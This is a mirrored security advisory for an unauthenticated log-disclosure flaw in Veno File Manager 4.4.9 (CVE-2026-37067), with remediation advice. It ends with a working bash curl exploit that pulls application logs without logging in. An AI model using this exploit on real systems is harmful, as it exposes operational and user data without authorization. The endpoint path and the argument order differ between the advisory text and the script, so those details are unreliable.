Veno File Manager Incorrect Access Control — Application Log Extraction (CVE-2026-37067)

by jfs-jfs · 2026-07-05

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-06
Author / Researcher	jfs-jfs
CVE / Advisory	CVE-2026-37067
Category	web
Severity	Medium
CVSS Score	Not specified in source
Status	PoC
Tags	veno-file-manager, incorrect-access-control, log-disclosure, unauthenticated, cwe-284
Related	N/A

Affected Target

Field	Value
Software / System	Veno File Manager Project
Versions Affected	4.4.9
Language / Platform	Bash PoC
Authentication Required	No
Network Access Required	Yes (HTTP to vfm-admin interface)

Summary

Incorrect access control in /vfm-admin/admin-panel/view/save-cvs.php in Veno File Manager Project 4.4.9 allows an unauthenticated attacker to extract all application logs from a chosen date forward via a specially crafted POST request.

Vulnerability Details

Root Cause

The save-cvs.php log-export endpoint does not enforce authentication before returning application log data.

Attack Vector

Send an unauthenticated POST request to /vfm-admin/admin-panel/view/save-cvs.php specifying a starting date.
The endpoint returns all application logs from that date forward without verifying the caller is authenticated.

Impact

Unauthenticated disclosure of application logs, which may contain sensitive operational or user information.

Environment / Lab Setup

Target:   Veno File Manager Project 4.4.9
Attacker: Bash/curl

Proof of Concept

PoC Script

See PoC.sh in this folder.

1
./PoC.sh <target-url> <start-date>

Sends the crafted unauthenticated POST request to extract application logs from the specified date forward.

Detection & Indicators of Compromise

Signs of compromise:

Log-export requests from sessions with no valid authentication

Remediation

Action	Detail
Primary fix	Update Veno File Manager to a version that requires authentication for save-cvs.php
Interim mitigation	Restrict access to /vfm-admin/ paths at a reverse-proxy/WAF layer to trusted networks

References

Source repository

Notes

Mirrored from https://github.com/jfs-jfs/CVE-2026-37067 on 2026-07-05.

PoC.sh

bash raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env bash

##########################################################
############## UNAUTHENTICATED LOGS DOWNLOAD #############
##########################################################

################# TESTED ON VERSION 4.4.9 ################

# This exploit lets an unauthenticated attacker download
# the application logs in case they are active. The
# attacker only needs to know a valid date where there were
# logs to download them from then till today. If the initial
# date does not have logs it skips everything.

# - Parameter $1 is the starting date with format yyyy-mm-dd
# - Parameter $2 is Url to the root of where the installation
#   of vfm is (a.k.a. the root of the application)

if [[ -z "$1" ]] || [[ -z "$2" ]]; then
  echo "[ USAGE ] :: ./unauth-logs-download.sh <starting date yyyy-mm-dd> <url to root of vfm installation>/"
  exit 1
fi

echo "[ PULLING LOGS :: STARTING ]" 1>&2
curl -X POST \
  -d "logsince=$1" \
  -d "loguntil=3000-12-31" \
  "$2/vfm-admin/admin-panel/view/analytics/save-csv.php" 2>/dev/null
echo "[ PULLING LOGS :: DONE ]" 1>&2